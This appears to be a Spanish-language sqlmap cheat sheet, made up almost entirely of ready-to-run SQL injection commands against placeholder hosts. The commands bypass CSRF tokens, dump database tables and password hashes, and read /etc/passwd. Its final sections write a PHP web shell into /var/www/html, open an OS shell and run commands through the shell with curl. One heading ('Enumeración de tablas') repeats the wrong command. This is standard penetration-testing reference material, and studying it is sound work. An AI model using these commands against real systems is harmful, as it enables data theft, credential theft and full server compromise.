Skip to content

SQLmap

c
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
c
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'

GET/POST Requests

c
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
c
 sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

Full HTTP Requests

c
GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
c
sqlmap -r req.txt

Ver el menú de ayuda básica

c
sqlmap -h

Ver el menú de ayuda avanzada

sqlmap -hh

Ejecutar SQLMap sin pedir entrada al usuario

c
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch

Usar SQLMap con una solicitud POST

c
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

Solicitud POST especificando un punto de inyección con un asterisco

c
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

Pasar un archivo de solicitud HTTP a SQLMap

c
sqlmap -r req.txt
c
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

Especificar una solicitud PUT

c
sqlmap -u www.target.com --data='id=1' --method PUT

Guardar el tráfico en un archivo de salida

c
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

Especificar el nivel de verbosidad

c
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch

Especificar un prefijo o sufijo

c
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
c
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

Especificar el nivel y el riesgo

c
sqlmap -u www.example.com/?id=1 -v 3 --level=5

Enumeración básica de la base de datos

c
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Enumeración de tablas

c
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Enumeración de tabla/fila

c
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

Enumeración condicional

c
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

Enumeración del esquema de la base de datos

c
sqlmap -u "http://www.example.com/?id=1" --schema

Búsqueda de datos

c
sqlmap -u "http://www.example.com/?id=1" --search -T user

Enumeración y descifrado de contraseñas

c
sqlmap -u "http://www.example.com/?id=1" --passwords --batch

Omitir el token CSRF

c
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

Listar todos los scripts de manipulación

c
sqlmap --list-tampers

Verificar privilegios de DBA

c
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

Leer un archivo local

c
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

Escribir un archivo

c
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

Iniciar una shell de sistema operativo

c
sqlmap -u "http://www.example.com/?id=1" --os-shell
c
 sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E

Os Explotation

c
sqlmap -u "http://www.example.com/?id=1" --is-dba
c
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

Web Shell

c
echo '<?php system($_GET["cmd"]); ?>' > shell.php
c
$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
c
curl http://www.example.com/shell.php?cmd=ls+-la